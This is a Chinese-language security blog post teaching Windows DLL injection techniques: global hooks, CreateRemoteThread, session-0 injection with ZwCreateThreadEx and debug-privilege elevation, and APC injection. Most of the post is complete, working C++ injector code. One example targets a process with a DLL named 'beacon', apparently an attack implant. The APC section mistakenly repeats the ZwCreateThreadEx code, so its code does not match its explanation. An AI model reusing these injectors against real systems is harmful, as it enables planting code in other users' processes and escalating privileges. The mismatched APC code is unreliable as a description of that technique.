Dll注入
2021-11-08 17:20:00 Author: mp.weixin.qq.com(查看原文) 阅读量:17 收藏

最近太忙啦XDM,又在做一些列的分析复现工作量有点大,更新要慢一点了。

参考

https://xz.aliyun.com/t/10318
本人C++才入门,所以代码均来源参考文章,然后按照实际情况做了修改。

简介

每个进程在运行过程中,都有一个和其他进程独立的相对空间,在这个空间里,进程相当于拥有所有权限。但是进程只能修改自己这个空间里的地址数据信息,和其他进程互相不干扰(就算相对地址一致,也不会覆盖其他的进程信息。)DLL注入技术,一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链接库(DLL)的形式存在。DLL文件在运行时将按需加载。就是类似一个程序A,强行加入了一个程序B需要的dll,并执行了dll里面的代码。而dll有程序B拥有,所以程序B拥有对程序A的控制权限。以下情况可能对存在注入场景1.为目标进程添加新的“实用”功能;2.需要一些手段来辅助调试被注入dll的进程;3.为目标进程安装钩子程序(API Hook);

钩子简介

HOOK,是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消

息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口过程之前处理它。钩

子机制允许应用程序截获并处理window消息或特定事件。

HOOK实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没

有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以

加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

简单来讲,消息发生的时候,由钩子先捕捉到,进行加工处理。其中的回调函数,就是我们钩子对

消息的处理函数。我们可以自定义一个钩子,监控系统中的消息。其中拦截单个进程的叫线程

钩子,拦截全局的叫系统钩子。

全局钩子注入

首先要知道,在windows的应用中很多都是消息机制。消息机制就是如下机制。

我们都是通过 API 函数来调用系统功能,让操作系统来帮我们完成很多工作,例如调用

CreateFile() 函数,操作系统会帮我们创建一个文件,而不需要我们参与任何工作,非常方便。

事件:类似敲击键盘等操作。
队列:存放消息(先进先出)
消息:事件发生时发送消息。
简单来理解:当用户敲击键盘,此时程序发出一个消息,存放在队列中,供应用程序来读取。
事件和消息同步。有事件就会发送消息。然后应用程序去依次调用。
这也就是消息机制。

windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子

一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。

SetWindowsHookEx

这是用来设置钩子的函数。
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, // 安装的钩子类型
_In_ HOOKPROC lpfn, // 处理消息的回调函数
_In_ HINSTANCE hMod, // 当前实例句柄
_In_ DWORD dwThreadId // 线程ID
);

来试想一下,如果钩子函数在其他进程中独有实现,在运行过程中,进程B想要去调用这个钩子函数

是完全不可能的,因为他们处于不同的空间。所以调用方式应当是写在一个Dll中,当谁需要的时

候,谁就去调用。当一个程序接收到了消息,此时操作系统就将全局钩子加入到这个进程中,去对

消息进行处理。所以如果我们控制了钩子函数的dll,然后输入恶意代码,当有消息时,dll被加

载,恶意代码执行。

WH_GETMESSAGE 钩子类型,可以监听全局消息
GetMsgProc 回调函数 在消息到达的时候对消息进行处理
UnhookWindowsHookEx 卸载钩子
SetWindowsHookEx 安装钩子

代码实现

#include "pch.h"#include <windows.h>#include <stdio.h>#include<stdlib.h>extern HMODULE g_hDllModule; //定义的外部变量extern "C" _declspec(dllexport) int SetHook();extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);extern "C" _declspec(dllexport) BOOL UnsetHook();// 定义了一个可以进程共享的数据段#pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()
//设置定义的数据段具有读,写,共享的属性#pragma comment(linker, "/SECTION:mydata,RWS")
//钩子回调函数LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx(g_hHook, code, wParam, lParam); //将消息传递给g_hHook钩子进行处理}
// 设置钩子BOOL SetHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//设置了一个windows全局消息拦截钩子 if (NULL == g_hHook) { return FALSE; } return TRUE;}
// 卸载钩子BOOL UnsetHook() { if (g_hHook) { UnhookWindowsHookEx(g_hHook);//当没有设置使用钩子的时候,就卸载g_hHook钩子。 } return TRUE;}
//主函数HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { g_hDllModule = hModule; system("calc"); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}//稍微说一下逻辑,做了一个钩子的安装,实现回调函数,然后卸载功能,当dll加载的时候,就生成一个句柄来获取当前dll句柄。
#include<stdio.h>#include<stdlib.h>#include<windows.h>  // 必须包含 windows.hint main(){    typedef BOOL(*typedef_SetGlobalHook)(); //定义一个符号typedef_SetGlobalHook是一个函数指针,函数返回值为BOOL类型。    typedef BOOL(*typedef_UnsetGlobalHook)();//定义一个符号typedef_UnsetGlobalHook是一个函数指针,函数返回值为BOOL类型。    HMODULE hDll = NULL; //定义一个模块句柄    typedef_SetGlobalHook SetGlobalHook = NULL;    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;    BOOL bRet = FALSE;
do { hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加载Dll2.dll if (NULL == hDll) { printf("LoadLibrary Error[%d]\n", ::GetLastError());//加载失败的话,返回加载失败的错误数值 break; }
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//获取Dll中的SetHook函数 if (NULL == SetGlobalHook) { printf("GetProcAddress Error[%d]\n", ::GetLastError());//获取失败的话,返回错误的数值 break; }
bRet = SetGlobalHook(); if (bRet) { printf("SetGlobalHook OK.\n"); } else { printf("SetGlobalHook ERROR.\n"); }
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//获取UnsetHook函数 if (NULL == UnsetGlobalHook) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; } UnsetGlobalHook(); printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause"); return 0;}//代码可以直接用之前的代码注入实现(有点类似劫持了),这里我们做的hook,就借用茶寂messi996师傅的代码实现吧,才做C++自己写有点费时间。但是每一句代码肯定还是要理解清楚的。

后续再多研究看看,这种注入感觉很类似劫持。

远程线程注入

指一个进程在另一个进程中创建线程。
CreateRemoteThreadHANDLE CreateRemoteThread(  HANDLE                 hProcess,  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  SIZE_T                 dwStackSize,  LPTHREAD_START_ROUTINE lpStartAddress,  LPVOID                 lpParameter,  DWORD                  dwCreationFlags,  LPDWORD                lpThreadId);VirtualAllocEx指定进程的虚拟空间保留或提交内存区域LPVOID VirtualAllocEx(  HANDLE hProcess,  LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flAllocationType,  DWORD  flProtect);WriteProcessMemory此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。BOOL WriteProcessMemory(  HANDLE  hProcess,         //进程句柄  LPVOID  lpBaseAddress,    //写入的内存首地址  LPCVOID lpBuffer,         //要写数据的指针  SIZE_T  nSize,            //x  SIZE_T  *lpNumberOfBytesWritten);

实现原理

使用CreateRemoteThread这个API,首先使用CreateToolhelp32Snapshot拍摄快照获取pid,然后使

用Openprocess打开进程,使用VirtualAllocEx远程申请空间,使用WriteProcessMemory写入数据,

再用GetProcAddress获取LoadLibraryW的地址。在注入进程中创建线程(CreateRemoteThread)。关

于系统dll,简单来理解就是每次windows启动的时候,可能dll的基址会发生变化,但是启动以后就

不会改变了,固定了。所以要调用这些系统dll的进程只需要访问同一个基址(系统dll的基址就行

了。)

代码

(1)主注入程序

#include <iostream>#include <windows.h>#include <TlHelp32.h>#include "tchar.h"char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";
//通过进程快照获取PIDDWORD _GetProcessPID(LPCTSTR lpProcessName) //定义了一个类似数组的LPCTSTR类型{ DWORD Ret = 0; PROCESSENTRY32 p32; //用来存放快照进程的结构体。
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定义了一个句柄,其中CreateToolhelp32Snapshot()代表获取了系统快照,类型为TH32CS_SNAPPROCESS,代表获取了系统所有进程。
if (lpSnapshot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请重试! Error:%d", ::GetLastError()); return Ret; }
p32.dwSize = sizeof(PROCESSENTRY32); ::Process32First(lpSnapshot, &p32);//进程获取函数,参数1位快照句柄,参数2位需要放置的结构体
do { if (!lstrcmp(p32.szExeFile, lpProcessName))//通过循环遍历所有进程id,进行判断进程可执行文件名和传入的进程名,如果相同,就获取他的进程id { Ret = p32.th32ProcessID; break; } } while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);//关闭一个快照 return Ret;//返回进程id}

//打开一个进程并为其创建一个线程DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName){ //打开进程 HANDLE hprocess; HANDLE hThread; DWORD _Size = 0; BOOL Write = 0; LPVOID pAllocMemory = NULL; DWORD DllAddr = 0; FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); //打开一个进程并获取他的所有权限 //Size = sizeof(string_inject); _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求长度 这里应该是需要申请的内存空间大小
//远程申请空间 pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申请内存空间
if (pAllocMemory == NULL) { printf("VirtualAllocEx - Error!"); return FALSE; }
// 写入内存 Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //写入内存中去,Dllname是要写的数据的指针
if (Write == FALSE) { printf("WriteProcessMemory - Error!"); return FALSE; }

//获取LoadLibrary的地址 pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取DLL的输出函数的地址,这里能发现LoadLibraryW在kernel32.dll这个系统dll中。 LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一个进程中创建线程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我们传入的进程中创建线程
if (hThread == NULL) { printf("CreateRemoteThread - Error!"); return FALSE; }
//等待线程函数结束,获得退出码 WaitForSingleObject(hThread, -1);//检测线程的对象状态 GetExitCodeThread(hThread, &DllAddr);//获取退出码
//释放DLL空间 VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//关闭线程句柄 ::CloseHandle(hprocess); return TRUE;}int main(){ DWORD PID = _GetProcessPID(L"test.exe");    _RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");}

(2)被注入程序(默认生成未改动)

// test.cpp : 定义应用程序的入口点。//
#include "framework.h"#include "test.h"
#define MAX_LOADSTRING 100
// 全局变量:HINSTANCE hInst; // 当前实例WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:ATOM MyRegisterClass(HINSTANCE hInstance);BOOL InitInstance(HINSTANCE, int);LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow){ UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine);
// TODO: 在此处放置代码。
// 初始化全局字符串 LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance);
// 执行应用程序初始化: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; }
HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));
MSG msg;
// 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } }
return (int) msg.wParam;}


//// 函数: MyRegisterClass()//// 目标: 注册窗口类。//ATOM MyRegisterClass(HINSTANCE hInstance){ WNDCLASSEXW wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST)); wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_TEST); wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassExW(&wcex);}
//// 函数: InitInstance(HINSTANCE, int)//// 目标: 保存实例句柄并创建主窗口//// 注释://// 在此函数中,我们在全局变量中保存实例句柄并// 创建和显示主程序窗口。//BOOL InitInstance(HINSTANCE hInstance, int nCmdShow){ hInst = hInstance; // 将实例句柄存储在全局变量中
HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
if (!hWnd) { return FALSE; }
ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd);
return TRUE;}
//// 函数: WndProc(HWND, UINT, WPARAM, LPARAM)//// 目标: 处理主窗口的消息。//// WM_COMMAND - 处理应用程序菜单// WM_PAINT - 绘制主窗口// WM_DESTROY - 发送退出消息并返回////LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){ switch (message) { case WM_COMMAND: { int wmId = LOWORD(wParam); // 分析菜单选择: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } } break; case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hWnd, &ps); // TODO: 在此处添加使用 hdc 的任何绘图代码... EndPaint(hWnd, &ps); } break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0;}
// “关于”框的消息处理程序。INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){ UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: return (INT_PTR)TRUE;
case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } break; } return (INT_PTR)FALSE;}
能够看到,在test.exe中注入了我们的恶意程序。

突破session 0的远程线程注入

Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别

RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,

则Windows会显示“非法指令”错误信息。

简单来说 ring3是用户层,ring0的防护最高级。属于到内核中去了。注入也是注入到内核中
ZwCreateThreadEx 也是创建线程,但是比CreateRemoteThread更底层,可以注入到内核层
OpenProcessToken 打开与进程相关的访问令牌
LookupPrivilegeValueA 查看系统权限的特权值
AdjustTokenPrivileges 判断进程的权限
//后面三个函数主要用来提权

代码

// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <Windows.h>#include <stdio.h>#include <iostream>
void ShowError(const char* pszText){ char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK);}
// 提权函数BOOL EnableDebugPrivilege(){ HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk;
}

// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) { printf("OpenProcess - Error!\n\n"); return -1; } // 在注入的进程申请内存地址
dwSize = ::lstrlen(pszDllFileName) + 1; pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr) { ShowError("VirtualAllocEx - Error!\n\n"); return FALSE; } //写入内存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory - Error!\n\n"); return FALSE; } //加载ntdll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA - Error!\n\n"); return FALSE; }
#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif
//获取ZwCreateThreadEx函数地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread - Error!\n\n"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { ShowError("ZwCreateThreadEx - Error!\n\n"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll);
return TRUE;}
int main(int argc, char* argv[]){#ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#else BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#endif if (FALSE == bRet) { printf("Inject Dll Error!\n\n"); } printf("Inject Dll OK!\n\n"); return 0;}

APC注入

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
QueueUserApc 添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc 回调函数

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,

APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。

原理

在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到

指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC

函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处

在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、

WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此

时便会执行APC队列函数。

简单来说,每个线程都有一个APC队列,里面放了一些APC函数。一定情况下这些APC函数会被执行。

1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中

断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。

2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入

的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。


条件
1.必须是多线程环境下
2.注入的程序必须会调用那些同步对象

代码

// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <Windows.h>#include <stdio.h>#include <iostream>
void ShowError(const char* pszText){ char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK);}
// 提权函数BOOL EnableDebugPrivilege(){ HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk;
}

// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) { printf("OpenProcess - Error!\n\n"); return -1; } // 在注入的进程申请内存地址
dwSize = ::lstrlen(pszDllFileName) + 1; pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr) { ShowError("VirtualAllocEx - Error!\n\n"); return FALSE; } //写入内存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory - Error!\n\n"); return FALSE; } //加载ntdll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA - Error!\n\n"); return FALSE; }
#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif
//获取ZwCreateThreadEx函数地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread - Error!\n\n"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { ShowError("ZwCreateThreadEx - Error!\n\n"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll);
return TRUE;}
int main(int argc, char* argv[]){#ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#else BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");#endif if (FALSE == bRet) { printf("Inject Dll Error!\n\n"); } printf("Inject Dll OK!\n\n"); return 0;}

推荐实操:PythonHacking之DLL注入

PC端实操地址:http://mrw.so/6eym3S

“阅读原文”体验免费靶场!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652882490&idx=2&sn=a5fb9f461fccac52bcae9345fa184976&chksm=bd59baf78a2e33e14647e5c167ecc1f28c4563c3f5338597c9a8d0126d9b8020de9715c5afb3#rd
如有侵权请联系:admin#unsafe.sh